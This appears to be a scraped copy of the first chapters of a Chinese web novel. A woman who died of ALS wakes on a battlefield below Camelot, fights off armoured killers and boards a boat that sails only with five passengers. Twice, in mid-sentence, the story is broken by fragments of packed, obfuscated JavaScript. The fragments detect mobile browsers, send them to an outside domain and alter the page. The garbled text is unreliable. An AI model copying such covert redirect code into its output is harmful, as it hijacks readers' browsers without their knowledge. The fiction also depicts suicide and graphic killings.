《我,推理游戏封神![狼人杀|剧本杀|血染钟楼|阿瓦隆]》 1. 迷岸1 意识开始恢复时,耳朵里传来两个人的交谈声。 “我靠,我这辈子可没干过什么坏事,死后怎么被扔到这么个地方?”一个男子在抱怨。 “我也……不过得了病而已……”一个女子应了他,声音满是惊恐。 骆桑缓缓睁开眼,一道金黄的阳光斜射而来,叫她有瞬间的视盲,然后,一片夕阳下陌生的荒野就出现在视框里。 她就倒在这片荒野上,周围肉眼可见的范围,横七竖八倒满了死尸! 尸殍遍野…… 但骆桑,并没有那么惊讶。 记忆停留的最后场景是最后那段时日自己隐居的小屋,夜深人静,煤气味渗透的空气中,她坐在轮椅上遥望窗外的明月,平静地等待那个终点的来临。 这里大概就是传说中的地狱吧?没毛病,一个自弃的人,是该被打发到这里来的。 “这些尸体怎么都穿着盔甲呀?”女子又说。 “我们也穿着盔甲呀!”男子抖了抖胳膊,身上的衣服发出窸窸窣窣的声音,“看,还跟他们穿的一模一样。” 骆桑移动视线去观察。 还真是,所有的尸体都穿着一种铁网状的盔甲,有些头上戴着桶形头盔,有些脚上套着铁靴,大都破破烂烂像被刺破被捅过窟窿,地上不时散落着刀剑叉戟等各种冷兵器,和破碎的盾牌。 这种盔甲应该叫……锁子甲,那么这样的装束就应该是——欧洲中世纪的战士! 根据玩过的电游看过的影视剧,骆桑可以确定这一点,但问题是,自己怎么也被套上了这身装束? 再把视线放远,骆桑发现这片荒野面积不算很大,左边一百米开外就是一片高耸陡峭的崖壁。崖壁的顶端高高矗立着一座城堡,夕阳的橙光下显得恢弘壮丽。 太远看不清细节,只有最大的一面城墙上赫然刻着几个字母:“CAMELOT”。 CAMELOT……? 好像在哪里听过。 “我们不会是误入什么电影片场了吧?死后穿越来的?”女子的音调不再那么恐慌。 男子:“有可能啊。” 不可能,影视拍摄不会去修建一座真的城堡,那种东西做模型或者直接上五毛特效就足够了。而且,他们闻不到这满地刺鼻的血腥味吗? 穿着盔甲的死尸大都倒在血泊里,这里应是一片真正的古战场,是一场惨烈战斗之后留下的残景,说这是地狱的一种也不为过。 骆桑在心头如此回答,却没有把话说出来。 她早习惯了只接受外界信息的输入,自行处理,而从不输出。 不是不愿,是不能,是无法…… 于是这波沉浸式扮演尸体能打一百分,那两人谁都没有发现她。 “看,有人来了!”忽然,女子指着前方道。 的确,又一个声音传来,是脚步声,伴随着金属利器擦地而过。 就在前方不远处,一个高大人影正踩着尸堆朝这边走来,他亦身着一身战服,只是款式和一地尸体穿的略有不同,头盔遮住脸,手持一柄重剑,剑尖触地在砂石上摩擦。 “嚓——嚓——” 这声音莫名叫骆桑心头发紧。 这是战场,如假包换的战场! “你好。”女子朝那人走去,“请问这里是……” “呲——!!” 她的声音戛然而止,而她的身体瞬间成了被穿上的糖葫芦,将她穿透的正是那人手持的重剑! “嚓——!!” 又是一声收剑,女子的身体多出来一个巨大的血窟窿,鲜红的血液喷射而出将她包裹,她轻飘飘倒下砸到一具尸体上,一个翻滚,不动了。 “妈呀——!”男子顿时惊叫起来,抖如糠筛,站都站不稳转身就跑,步伐踉踉跄跄。 持剑战士快步追去。 男子边跑边哀求:“我已经被匪徒杀死了,不要再杀我啊!” “咔——!” 重剑一个横扫,男子瞬间首身分离,无头身随惯性扑倒,而鲜血包裹的头颅皮球似的滚出好几米远才停下。 然后,四周安静了。 …… 骆桑几乎无法呼吸,亦不敢呼吸,不敢发出一丁点动静。 他的盔甲不一样,他是敌军,是来清理战场的,而自己和那一男一女都穿着同尸体们一样的战服,都是败方余孽——他的清除对象! 死都死了,到了地狱还要再死一次吗?这种死相也太寒碜了。 没有半刻犹豫,骆桑闭上眼,一动不动。 装死,是她此刻唯一的对策。 五年前的那一天,医院下了诊断书:肌萎缩侧索硬化,俗称渐冻症。 这种病症会让身体逐渐失去运动能力,且无法治愈,病程不可逆,会随着时间推移逐步恶化。 “蹭……蹭……蹭……” 脚步声响了三下,然后停住。 持剑战士似乎转了个身,但不知转向了何方。 骆桑屏气凝神。 四年前,确诊一年后,骆桑无法再正常行走,无法上下楼梯,屡屡跌倒,她开始拄拐杖。 “嚓——嚓——” 剑尖擦地的声音又响了起来,持剑战士开始移动。 骆桑注意去听那声音,渐渐觉得那声音在变大,似乎……在向她靠近! 三年前,骆桑的双腿再无法支撑身体,从此只能坐在轮椅上。 四周并没有任何别的动静,没有活人再蹦跶出来,但骆桑逐渐确定,那持剑战士正不偏不倚直径朝她走来! 不知这是个什么机制,但她胸中涌起一股强烈的预感,那人一定知道自己的位置,知道自己在哪里,知道自己不是尸体! 不行,这样下去不行,藏不住的,会被他一剑砍成两半! 于是就在这一瞬间,骆桑下意识想挪动身体。她已经习惯了意识只停留在意识而身体永远无反馈,然而…… ——哈?怎么不费吹灰之力一下就将上身支了起来!? 后来,骆桑的手指僵化,无法再使用电脑和手机,也翻不动一页书,更无法自行吃饭穿衣,生活彻底不能自理。 这简直不敢相信! 一脸懵的骆桑发现自己就这么从一地横尸中突兀地坐了起来,宛如诈尸。 一抬眼,那高大的持剑战士已加速朝自己冲来,仅剩最后十米! 骆桑霎时间站立,双腿撑直稳如狗,紧接着转身,左腿迈出,右腿一蹬,跑了起来! 她浑身的肌肉都有萎缩之势,整个人显得特别瘦,宽大的铁网状盔甲挂在她身上就像飘逸的绸缎。 但她长期用意志力强行跟失灵的肌肉搏斗,每一次病情进展时都拼死抵抗,死撑住膝盖也要自己站立,咬破嘴唇也要抬起最后那根能动的手指,用力到大汗淋漓气喘吁吁也绝不认输。 于是现在,她的肌肉虽然萎缩,意志力却强得惊人,当想要奔跑的意念无限放大,就如长期负重训练的人一朝丢掉包袱,她竟跑得飞快! 最后那一年,骆桑变得口齿不清,没人再听得懂她在说什么。不能说,不能写,无法再告知照顾者她需要什么,无论想吃什么,想喝水,或者想睡觉,都要由别人来决定。 作为一个活着的人,她失去了对自身的所有主导。 风呼啸着从耳侧吹过,奔跑的感觉太久违,也太美好。骆桑不时回头看,发现那人根本追不上她。 “呀哈——!”她情不自禁一声欢呼,空气中立刻响起那略带俏皮的嗓音。 她也已经很久没听到自己的声音了。 迅速拉开一小段距离后,骆桑开始边跑边观察四周。光跑是苟不到最后的,得找出路。 荒野的左侧是刚才看到的悬崖峭壁,决计爬不上去,但右侧百米开外却是一面开阔的湖水,而湖岸边刚刚好停放着一艘船。 不懂这是个什么世界,丰富的游戏经验告诉她,那就是解。 骆桑朝湖岸边的船跑去。 渐冻症最可怕的地方在于,它会剥夺你全身每一块肌肉的运动能力,却唯独不伤你的大脑,让你直到生命的最后一刻,都清晰地明白发生的一切。 五年过去了,无法输出,却能被动接受所有输入,骆桑清楚地知道自己身体的每一步恶化,也知道自己已彻底沦为废物,更知道这个废物最后会因呼吸肌麻痹而憋死。 那就算了吧,就是说还是想要个优雅点的打开方式。 此刻,骆桑无比庆幸这个决定。 不管这是哪里,不管怎么来的,不管这是不是虚幻的梦境,甚至不管此刻是生是死,是什么都好,地狱都好,每天都被刀剑相向都好,她都愿意留在这里,这个世界对她太特么友好了! * 越过满地的尸堆,骆桑跑到了停着船的岸边。 跑出了一百多米远,没见持剑战士跟来,应是甩掉了。 她正要涉入水中去登船,却听不远处有人在喊:“大叔快快快!” 扭头一看,一个胖胖男生正一边跑一边朝后招手,他的身后跟着个大胡子,气喘吁吁快要跑不动了似的。 两人都在朝船的方向跑。 他们身上都穿着和自己同款的破烂战服,小胖手里还拿着根缺了半截的三叉戟。 看来都是我方幸存者,要来登船的并不止自己。 但他们还没能甩开清理者,后面紧跟着一个持剑战士,凶神恶煞地朝他们挥舞着剑刃。 来自不同方向,所以这个持剑战士和自己之前遭遇的并不是同一个,但他们简直一个模子刻出来的,就像同一个建模简单粗暴的复制粘贴。 大胡子喘着粗气,双腿无力快要跌倒,小胖不得已放慢脚步去拉他:“大叔你再坚持坚持,马上就上船了!” 两人速度一慢下来,持剑战士马上就追到了身后。 大胡子见势不妙把小胖往前推:“小伙子快……跑……别管我……”话说得十分艰难。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557042|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小胖还想去拉他,但带血的重剑已在大胡子身后高高举起! “哐——!” 应时,一声巨大而沉重的金属碰撞声响起,振得人耳膜发颤,随后又是“当——”地一声,有什么掉落在地。 大胡子在那一刹那绝望地闭上眼睛,然而两秒后却惊然发现,自己脑袋竟然还在! 掉落地上的是一把烂盾牌,刚才就是这把盾牌突然飞来把落下的重剑砸到了一边去! 几米之外,骆桑收回手,拍了拍灰,扬扬下巴朝那持剑战士吆喝:“嘿!这边!” 同是天涯沦落人,顺手帮一下好了。 持剑战士受到挑衅,转而朝骆桑发动攻击,骆桑转身就跑,朝着远离船的方向。 追杀者被引开,小胖马上拉着大胡子爬上了船。 骆桑溜着持剑战士放风筝,跑了一大圈重新甩掉后,再度回到岸边,也上了船。 夕阳照射的湖岸边,小船在水波中晃晃荡荡。 这是一艘古老的小木船,船身只有七八米长,也就能载几个人的样子。 除了骆桑,船上只有小胖和大胡子两人,小胖拧着被湖水打湿的裤腿,而大胡子就摊坐在甲板上,都过去好一阵了还捂着心口大喘气。 看到骆桑上船,大胡子朝她抬起脸:“女士,谢谢你。” 骆桑这才注意到,大胡子长着一头栗色卷发,而他的面容是典型的西洋白人。 ……外国人? 所以死后的世界果然全球相通?所以才来到了这个位于欧洲的古老地界? 骆桑马上瞅了眼小胖,小胖倒是个黑头发黄皮肤的东亚长相。 ……不对……等等。 骆桑忽然想起,刚才大胡子说谢谢的时候,口型摆的好像是英文的“Thank you”啊,可听到她耳朵里却成了中文的“谢谢”。 骆桑问大胡子:“你是哪里人?” 大胡子回答:“威尔士。” 骆桑:“你是因病去世的吗?” 大胡子:“是的心脏病发作。” 口型摆的“Yes,heart attack”。 骆桑:“你能听懂我说话?” 大胡子一脸诧异:“当然,你讲的是英语。” 口型:“Of course, you are speaking English.” 骆桑:“……” Such a big surprise!可真是个神奇的世界~ “哈哈,我之前也是吃了一惊。”一旁的小胖道,他的口型倒全对得上,说着又由衷感叹了句,“话说回来,你跑得可真快!” 骆桑只一声“嗯”,不多作解释。要知道,这BUG的敏捷buff可是自己千锤百炼才练出来的。 现在不是聊这些的时候,她走到船头朝湖面观察。 太阳还没落山,天空笼罩在一片橙色里,光照不算弱,但湖面上的可见度却超不过十米。 这一整片湖水都被浓浓的迷雾笼罩,阻挡了视线,看不到对岸,看不出大小,也看不出深浅,只看到清幽的湖水一浪接着一浪从迷雾深处涌来,拍打在岸上。 小木船并没有被缰绳固定,只因为水流是从湖心流向岸边,便被动停在这里没有朝湖心漂去。 湖那边…… 骆桑正思索,背后忽然传来一阵嘈杂,有乱七八糟的脚步声,呼喊声,还夹杂着兵器碰撞的声音。 声音来自岸的方向,她立刻回头去看,便见岸边的尸堆上骤然立着十来个移动中的人影,他们全都同款高大,穿同款战服,举同款重剑 ——一群复制粘贴的重剑战士正齐刷刷朝小木船汹涌而来! “糟了!被发现了!”大胡子惊呼。 “有人在往这边跑!”小胖朝那边指,“他们也想上船!” 果然,仔细看,那群重剑战士并不是自发来的,他们是在追逐两个逃生者,而逃生者的目的地正是这艘船。 这很像某种游戏机制,重剑战士是散布在地图上的精英怪,进入他们的注意范围就会被发现被追杀,如果拉开一段距离,他们就会失去目标,不再追逐回到原本的领地。 骆桑便是这样甩掉他们的,小木船的周围也没有他们的布点,但…… 那二人速度不够快,始终无法拉开距离,一路奔跑而来经过许多布点吸引来了一大堆! “他们会把杀手引来啊!”大胡子一脸惊恐。 的确是这样,这样下去不行,如果不能甩掉,等那二人上了船,整艘船都会变成屠宰现场! “那个……你……”小胖看向骆桑,若有所指。 骆桑却摇头:“不行,数量太多,引开一个引不开全部,没用的。” 大胡子又捧住心口:“那……怎么办?” 骆桑看了眼迷雾缭绕的湖面,又看看已越来越逼近的刽子手大军,毅然吐出两个字: “开船。” 2. 迷岸2 “对,开船!”大胡子如梦初醒。 小胖则愣在原地,似有些不理解,好像在说:不等等他俩? 没有时间解释第二遍,骆桑马上开始研究这船怎么开。 古时候的船是没有马达的,这船也一样,就一块平整的甲板,上面排列着三根桅杆,每根桅杆上都挂着一面帆,只是帆并没有张开,像无风状态下垂挂在旗杆上的旗帜。 水流是从湖心朝向岸边,风却是反的,朝湖心方向吹去,所以只要把帆扬起来,船就会离岸启航,可是…… “怎么没有缭绳?”大胡子望着桅杆诧异道。 是的,这三根杆上连一根绳索都没有,没有缭绳就无法控制帆的开闭,无法开船。 再观察一遍甲板,空空荡荡什么都没有,唯独正中央有一块看似活动的方形木板,船底还有一定的厚度,看起来似乎拉开木板,下方就会出现一个船舱。 只能找找看了,骆桑马上过去拉木板。 大胡子也看到了,也跟过去一起拉。 木板上有个拉环,显然是可以拉起的,但奇怪的是,无论二人怎么用力,木板就是纹丝不动。 “小伙子!”大胡子招呼小胖。 此时小胖正手握那半截三叉戟守在船尾,面朝迎面而来的持剑战士群,一副准备应战的样子。可两方阵仗对比,怎么看怎么螳臂当车。 大胡子:“快来一起拉呀!” 大胡子自己病恹恹的,看骆桑又十分瘦弱,认为是力量不够。 但骆桑心里清楚,自己的力量也因为意志力的放大而享有buff加成,可以与成年男子匹敌,之前扔盾牌时就感觉出来了。 所以不应该是力量不够。 小胖犹豫了下,还是放下三叉戟过来帮忙,然而结果同骆桑预想的一样,三人合力,木板仍然未动分毫。 小胖:“锁着的吧?” 大胡子:“那……只能砸破?”指着一边的三叉戟。 砸是来不及了,骆桑心道,站起来往回看——黑压压的持剑战士群已逼近船尾! “弃船吧。”骆桑道。 船开不了就没办法了,这个解许是还有什么条件没有满足,亦或许还存在别的解没有找到。总之,眼下没有更好的选择。 骆桑迅速挪到船舷边,准备随时跳下去,却又在这时犹豫了。 她看到那两个逃生者离船已只剩最后几步,都是男子,并且其中一人身型五大三粗特别魁梧,他几乎是拽着另一人在跑,一只手拽另一只手还握着把大砍刀。被这一大群凶神恶煞的恶鬼追逐,两人脸上却毫无惧色,被拽着的那个甚至还在嬉笑。 ? 难道……真有一战之力? 骆桑踟躇间,两个逃生者就迅速爬上了船。 小胖似乎从一开始就没有逃跑之意,此刻已重新拾起三叉戟准备应战。 而大胡子许是身体状况不允许,也没有响应骆桑的弃船建议,抓着桅杆努力站稳,此刻慌张地对二人坦白:“这船开不了的!” 话音才落,追兵已至,小木船立刻被团团包围,周遭水声兵器声混作一片! 一把重剑霎时高举过船舷,“嗖”地一声便朝甲板上的几人挥来! “哐——!”壮汉手中的砍刀毫不含糊直迎而上,两件重兵器狠狠怼在一起。 果然有两刷子,竟一点不落下风。 另一边的小胖就不行,他也用三叉戟奋力阻击,却一下就给震脱了手,人也倒地四仰八叉。 就这?这么淡定还以为有点货呢。 骆桑在心头吐了个槽,立马拾起落地的三叉戟补缺,用戟尖叉住一柄重剑,暂时拖住了一个持剑战士。 然而杯水车薪,敌人的数量远多于己方,长长的船舷到处都是破绽。 大胡子被一把重剑直逼到船头退无可退,一个踉跄差点摔下船去,然后那把重剑就直直朝他刺来! “啊——!”大胡子发出惨叫。 “大叔!”小胖正要去营救,脚步却一顿。 骆桑扭头去看,眼前竟展开了一幅怪异的画面:大胡子瘫倒在地瑟瑟发抖,身上却压根儿没有一点伤,而锋利的剑尖就在离他咫尺之远的距离,停住了。重剑就悬在半空,指着他,握剑的战士拼命用力,剑尖却仿佛被一道无形的屏障挡住,不能前进分毫! 什么外挂? 骆桑纳闷了下,突然想到什么,骤然放松了手上的力道,那把被叉住的重剑便顺势向前冲——但同样,当剑尖就要跨越船舷边缘刺进甲板时,被不知什么力量强行制止瞬间停在了半空,而持剑战士没能控制住前倾的身体倾倒过来,像撞上了墙一样“啪”地一声定住! 哦~豁~ 骆桑不由咧开一边嘴角。 很快,船舷一周响起噼里啪啦的撞墙声,和叮叮咣咣的金属砸墙声,跟放烟花似的,十几个持剑战士一个接一个哐哐撞上来,却没有一个能突破这道密不透风的无形墙。 “原来……原来这船上是安全的……”大胡子挣扎着坐起来,一脸劫后余生的惨笑。 壮汉也明白过来,收回了砍刀。 所以说小木船是个安全区,敌方战士根本攻不进来? 骆桑正琢磨,脚下就忽地一晃,差点没站住。 大胡子:“噢天!船在动!” 四周的包围者在朝船尾移动,岸也在渐渐远去 ——船,开了!? “快看,帆扬起来了!”小胖指着桅杆。 果真,三根桅杆上挂着的帆竟不知何时同时扬了起来,没有缭绳,没有任何人操作,三面帆,同时展开! 不仅有结界保护,这船竟然还能……自行起航? 真是又一次见识到了这个世界的神奇。 外加,无序。 湖风鼓动着帆给小木船加速,没一会儿,小木船就彻底离开了岸边,持剑战士们追到半截身子进水,终于丢失目标,转身朝自己的布点退散去。 “终于,终于……我主保佑……”大胡子长呼出一口气,在胸前划了个大十字,“阿门……” 小胖拍了拍他,像在安慰。 最后上船的壮汉放下大砍刀,双臂抱怀一语不发。 而他拽来的另一人则坐在甲板上,神经质般地一边抖肩一边“哈哈哈哈哈……” 情势转换太快,骆桑还没回过味来。 这个世界疑惑重重,就像此刻小木船正驶向的浓浓迷雾。 * 黄昏在加深,夕阳似乎已在天边悬了许久,现在开始渐渐西沉,光线暗沉了一些。 已经再看不到岸,小木船被漫天的浓雾包裹,除了船舷边时而扫过的水波,就只剩白茫茫一片。 惊魂未定,船上几人都静悄悄的,除了一个例外——被壮汉拽上来的那个人还没有止住他神经质的笑声,每隔一两分钟就“哈哈哈哈哈……”地狂笑,就好像武侠小说里被人点中了笑穴。 在这宁静又神秘的湖面上,那笑声十分突兀,也让人心头发毛。 大胡子忍不住问他:“你好,请问你在笑什么?” 那人没回应,就跟没听见似的,依然自顾自笑。 “这样会不会……引来什么不好的东西?”大胡子问得小心翼翼。 还是没回应,噪音依旧,他还时不时做出一些手舞足蹈似的无意义动作。 小胖朝大胡子使眼色,在自己脑袋上点了两下,又摇头。 大胡子反应过来,原来那人是脑子不大正常。 也是,来到这里的人都刚经历死亡吧,有人精神崩溃也不奇怪,要不是那壮汉够生猛,以那人的精神状态根本不可能逃上船。 大胡子面露同情,摇了摇头,转而同小胖交谈:“噢,我的名字叫詹姆斯,小伙子,你的名字叫什么?” 小胖马上就回答了:“大叔我叫董鑫。” 詹姆斯很郑重地:“董先生,很高兴认识你。” 董鑫额上两滴汗:“大叔,叫我小董就好。” “我还以为你俩很熟呢。”骆桑插了句话。 在这种地方对陌生人舍命相救可不是件容易的事,尤其是在自身能力捉襟见肘的情况下,这董鑫有副热心肠。 董鑫干笑了下,没吱声。 詹姆斯又转向骆桑:“那这位女士……” “骆桑。”干干脆脆完成抢答。 詹姆斯:“骆小姐,很高兴认识你。” 骆桑:“Nice to meet you too.” 詹姆斯又问独自站在船尾的壮汉:“那这位先生呢,名字叫什么?” 壮汉有着棕色油亮的皮肤,颧骨突出嘴唇厚实,看着也不是东亚人的面相,有几分像拉美混血。 但他自上船就没开口说过一句话,浑身透着一股生人勿近的冷漠气场,对詹姆斯的询问充耳不闻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557043|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >詹姆斯以为他没听见,又问了声:“你来自哪里呀?” 这回壮汉半回头,直接丢了道冷冷的视线过来,然后转回去,一个标点符号都没吐。 “……”热脸贴了冷屁股,詹姆斯不再问了,只在嘴里低低感叹了句,“这么厉害的人,也死了啊……” 这句过后,几人都沉默了。 湖面静得听不到水声,除了那个大笑噪音源,偶尔发出响动的,只有大家身上穿着的破旧盔甲。 一群因各种原因死去的人,在这个不知为何的世界里,穿着这身莫名其妙的装束……骆桑不禁陷入思索。 “你知道这是什么地方吗?”过了一会儿,骆桑问詹姆斯。 之所以问詹姆斯,是因为这5人中只有他是欧洲人,跟这里的场景最贴合,也应最熟悉。 詹姆斯果然认得:“我认为,这里的年代是中世纪早期,但具体是哪个地方……我也说不好。” 骆桑:“为什么我们死后会来到中世纪?” 詹姆斯想了想,摇着头道:“圣经上说,人死以后,会去往天堂或者地狱,可这里不像天堂,也不像地狱,我不明白。” 骆桑:“你是基督教徒?” 詹姆斯:“是的。” 骆桑:“所以现在你觉得,圣经说错了?” “……”詹姆斯一下惊住,好像被一句随意的提问戳中了什么。 骆桑倒轻松一笑:“世界上有很多宗教,很多流派,各地也有很多说法,都在讲述人死之后会去哪里,五花八门各成体系。” 她摊手,“看来没一家说对啰?” 詹姆斯没有反驳,眉心蹙着思索了一会儿,道:“不过,人死之后,灵魂总归要去到某个地方,这一点是千真万确了。” 挺好,死了还能有个去处,总比一了百了再也不存在好。况且…… 骆桑笑:“这地方我喜欢,能一直呆着就最好。” “哈哈哈哈哈——!”骆桑音刚落,一串激荡的狂笑应时响起。 是那个一直发出噪音的人,他突然笑得更狂放更大声,好像听到了什么世纪大笑话。他原本面朝湖面盘腿而坐,此刻却突然站了起来,半弓着背,边笑边抖动身体。 “不开化……不开化呀……”他第一次说出句子来,摇头晃脑地,“来处即归处,归处即来处,阴间就是阳间,阳间亦是阴间,生即是死,死亦是生,有何分别?” 他依旧背对着大家,不像在对着任何一个人说话,也看不见脸,只能看见他手上空空转动着什么,神神叨叨的跟个跳大神的似的。 “都是轮回……都是轮回……” 他一边念叨一边挪步,朝着…… ……!骆桑注意到时,那人的双脚已经踩在了船舷边上! “这辈子当人,下辈子当牲畜,再下辈子当花草……都是轮回……不如归去……哈哈哈哈哈……” 他笑着,身体朝前倾斜而去,面前是一汪深不见底的湖水! “该死!” 一声低骂来自船头,壮汉第一次出声。就在那人即将掉进湖里的一刻,他猛地朝这边跑来! 壮汉已经用了最快的速度,然而根本来不及。“咚——”地一声,他还没跑到,那人已经落入湖中,湖面激起巨大水波,小木船被狠狠一晃。 没有挣扎,那人直直下沉,转眼间就再看不到了…… …… 突发的一幕叫船上几人失语。 该不会以为这里是忘川河,急着投胎去了吧?骆桑想。 人各有命,本倒也不必执着什么,他也算获得了他心中的圆满。然而就在他沉入湖水之后,奇怪的事却发生了。 “船帆……船帆……”董鑫指着船上那三根桅杆慌张地喊。 奇了怪,原本好好展开着的帆,此刻正在一面接一面收起! “为什么?”詹姆斯一脸诧异,张着个大大的口型“Why?” 帆的开闭无法操控,几人除了大眼瞪小眼看着这操作自行完成,别无他法。 凭感觉估算,小木船驶离岸边后约莫过去了十五分钟,浓浓白雾中完全不知航行到了哪里,离前面的岸还有多远,现在就没有帆了的话…… 水流可是向后的…… 骆桑没有把担忧说出来,但十分钟后,船尾方向重新出现的遍布尸海的岸边,证明了她的预料。 无法阻止地,小木船,回到了起点…… 3. 迷岸3 船上气氛凝重,和半小时前的欣喜启程截然相反,詹姆斯和董鑫都深深叹气。 唯一的好消息是,这附近没有持剑战士的布点,暂时是安全的。 那个疯子跳湖了,船帆就收了起来。 骆桑思考着这两件事之间的联系。 没人说话,沉默延续了一阵,然后壮汉忽然跳下了船去。 “你去哪里?”詹姆斯问。 壮汉依然没理他,自顾自朝远离岸边的方向走去,带着他的大砍刀。 看着壮汉远去的背影,和他投射在砂石上长长的影子,骆桑又注意到一件古怪的事:刚才行驶中时,明明觉得光线在逐渐暗淡,回到出发点后,夕阳却好像又回升到了原本的位置,光照恢复如初。 就好像,时间倒流了。 倒也不奇怪吧,死后的世界,时间,还存在吗? 这个无序的世界,全然不能用现实世界的逻辑来推断。 湖面上除了迷雾什么都看不见,但岸边是有景色的,先不论这荒原上的一地死尸,荒原的另一侧有一片高高的崖壁,顶上有一座城堡。 骆桑想起了那座城堡,以及城堡上刻着的字,她走到船尾遥望了一会儿,想起什么来。 她把詹姆斯叫到船尾,朝那边指:“你看到那座城堡了吗?” 詹姆斯惊讶:“之前光顾逃命了,都没注意到,真宏伟啊。” 骆桑:“那上面刻着一个词,我有点耳熟,但想不起在哪里听过,你听过吗?” 就是那串英文字母:CAMELOT。 詹姆斯定睛一看,这下更加惊讶了,张大口,浓密的胡须一抖一抖的:“卡美洛!居然是卡美洛城!是卡美洛王国!” 他难以置信地双手指向自己胸口,“在我的家乡威尔士,有着卡美洛王国的传说,那是大不列颠的黄金时代。都说那只是传说,并不是真的,可我一直相信它真的存在过,是我家乡历史的一部分!” “果然,是真的,它真的存在!它在这里,它消亡后来到了这里,就和我们死去之后也来到了这里一样!” 卡美洛王国…… 骆桑脑中的思绪顿时串出一条线:“亚瑟王!” 传说中英勇无敌的至高王者。 “什么?这里跟亚瑟王的传说有关?”董鑫也很吃惊。 詹姆斯眉开眼笑:“是的,威尔士最伟大的英雄,亚瑟王,我所知道的卡美洛只有这一个,就是他的王国!” 董鑫:“那现在王国是在打仗吗?亚瑟王在哪里?我们是不是应该去找他寻求庇佑?” 这个问题,詹姆斯也只能摇头:“战争总是有的,我不知道这是哪一年,打的是哪一场。” “那……”董鑫还想问什么,却被远处突然传来的声音打断。 茫茫尸堆上,壮汉的身影重又出现在视框里,他似乎被一个持剑战士缠住了,挥舞着大砍刀抵挡对方的进攻,兵器交锋发出声声沉重的闷响。 壮汉本可以跑的,他的速度肯定比持剑战士快,但他没有,因为他身后还躲着一个人。那人身材矮小,看着弱不禁风,显然跑不过持剑战士,于是壮汉一边抵挡一边带着小个子朝岸边缓慢移来。 真可以啊,才这么一会儿,他又要带一个人上船了。一声不吭下船去,就是专程去寻找逃生者的? 这时,又一个声音传来,在另一个方向又出现了一个正被追杀的人,看身形是个男子,身手还挺矫健,跑了一路始终没被追上。 注意力移走了一刻,再回过头来时,就看到壮汉已经把小个子打折扛在了肩上,丢了砍刀直接朝小木船飞奔而来。这回他的速度快多了,要不了多会儿就能抵达。 只是他肩上的小个子似乎十分反对他这般操作,拼命挣扎着大喊:“滚啊!谁要你碰我——!去死啊——!”听声音是个女孩。 小个子对壮汉又抓又咬,使尽浑身解数要从他身上下去,却被壮汉按死在肩上半点脱不开。 怎么又找来个精神崩溃的?骆桑在心头“呵呵”一声。 没一会儿,壮汉已抵达,长腿踩上船舷后,一个提溜给小个子扔了上来。 小个子在甲板上滚了两圈,还没停稳就又开始破口大骂:“我艹你啊——!死啊——!” 她是竭尽全力在骂,声带都喊破冒烟成破锣嗓了还不停歇,小小的个子,白净的皮肤,活脱脱一只咬人的小白兔。 紧接着,另一边的逃生者也到了,他双臂撑住船舷就要跃上来,却不知被什么挡了回去,身体掉落水里摔了一跤。 他马上爬起来再次登船,可是,又被挡了回去! 他懵了,双手想朝船舷里探,船上的人便清楚地看到了他扒在半空的两只手掌,像扒在一块透明的玻璃上,印出几点掌根。 ……!这是? 一种不详的预感升腾起来。 “快跑啊!”詹姆斯朝他大喊。 他的身后,刽子手已举着凶器近在咫尺! “为什么?为什么上不去为什么?”男子顿时崩溃一顿狂喊,惊恐如洪流将他包裹,双掌使劲拍打那面把他阻挡在外的无形玻璃墙。 “呲——!” 下一秒,一把重剑扎入他的后背,他涌出的血液喷在“玻璃”上,沿一个平面往下流。 “噢上帝……”血腥的一幕叫詹姆斯连连后退,在胸前划着十字。 其余人无言,连嗷嗷叫的小白兔都双目睁圆安静了下来。 甲板干干净净,没有沾上那人的一滴血。 而就在这时,三面帆又一次同时扬了起来,船,又自动起航了! 鲜红的血液流了一地,小木船从被血染红的湖水中驶离,驶进茫茫浓雾。 惨烈的一幕叫船上的偷生者们心有余悸,明明都跑到安全区了,还是被杀了…… 夕阳又一次开始慢慢西沉,同第一次起航时一样。 骆桑望着那夕阳,好像明白了什么。 这是必须凑齐5人船才会开吧?而且只能是5人,少1人不行,多1人也不行。 限定人数,就好像是某种规则…… 等等……规则? 骆桑嗅到了一股熟悉的气息,她身体里的某个DNA,动了。 不,这世界不是无序的,它有序,而且非常有序! 它有着某种明确的规则,万事万物都按照这规则运行,连太阳落山都不例外,必须卡在某个特定的节点才能开始,节点不到就一直等待,而出错了就重新对准再落一次。比如现在的节点就是开船,开船了,太阳就落山。 如此苛刻的有序,十分像是,它正在展开一场游戏。 * 小木船缓缓行驶。 “他为什么被拦住了?”再看不到岸边后,詹姆斯问了句话。 没有人回答他。 这一次,壮汉不再独自呆角落,就站在船中央,盯着蜷坐在桅杆旁的小个子。 “你是不是知道得凑齐5个人船才会开?”忽然,骆桑问壮汉。 不知道壮汉怎么称呼,只好省掉,以他一贯冷漠的态度,怕是都不觉得这话是在问他吧。 然而这一次,壮汉却破天荒有了回应,他转头看了眼骆桑,发现骆桑正同他对视,开口丢出句话:“我不知道,能救人就救人而已。” 骆桑微惊,惊的是,他竟然回答了。 她没有再继续问,但和壮汉做了一样的事,盯住小个子,严防她靠近船舷。 少1个人,船会再次回去,一切又要重来。如果这类似于一个程序进程,她现在想的是接着往下,不要再回溯。 小木船在压抑的气氛中缓缓行驶,这一次是真的安静,无人出声。 骆桑默默估计着时间,慢慢超过上次的十五分钟,到二十分,二十五分,小木船已经行驶到了更远的地方,白雾更浓了。 她知道,前方一定有什么正等着他们。 